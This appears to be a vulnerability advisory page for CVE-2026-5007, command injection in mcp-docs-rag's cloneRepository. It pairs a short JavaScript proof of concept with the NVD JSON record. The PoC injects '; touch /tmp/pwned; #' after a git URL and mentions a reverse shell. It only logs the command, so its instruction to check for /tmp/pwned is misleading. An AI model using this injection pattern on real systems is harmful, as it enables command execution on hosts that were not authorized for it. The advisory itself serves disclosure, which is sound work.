CVE-2026-5007

// PoC for CVE-2026-5007: OS Command Injection in mcp-docs-rag // Target: cloneRepository function in src/index.ts const vulnerableFunction = (repoUrl) => { // Simulating the vulnerable code pattern where user input is directly concatenated // Actual vulnerable code might look like: exec(`git clone ${repoUrl}`) const command = `git clone ${repoUrl}`; console.log(`Executing command: ${command}`); // In a real scenario, this would execute the command }; // Malicious payload to inject commands (e.g., creating a file or reversing shell) // Using semicolon to chain commands const maliciousPayload = "https://github.com/exploit/repo.git; touch /tmp/pwned; #"; console.log("[+] Triggering CVE-2026-5007..."); vulnerableFunction(maliciousPayload); console.log("[+] Check if /tmp/pwned exists to verify exploitation.");

{"cve": {"id": "CVE-2026-5007", "sourceIdentifier": "[email protected]", "published": "2026-03-28T19:16:56.710", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in kazuph mcp-docs-rag up to 0.5.0. Affected is the function cloneRepository of the file src/index.ts of the component add_git_repository/add_text_file. The manipulation leads to os command injection. The attack needs to be performed locally. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Se identificó una vulnerabilidad en kazuph mcp-docs-rag hasta la versión 0.5.0. La función afectada es cloneRepository del archivo src/index.ts del componente add_git_repository/add_text_file. La manipulación conduce a la inyección de comandos del sistema operativo. El ataque debe realizarse localmente. El exploit está disponible públicamente y podría ser utilizado. El proyecto fue informado del problema tempranamente a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/kazuph/mcp-docs-rag/", "source": "[email protected]"}, {"url": "https://github.com/kazuph/mcp-docs-rag/issues/7", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25822451/mcp-docs-rag_bug.pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/779152", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353892", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353892/cti", "source": "[email protected]"}]}}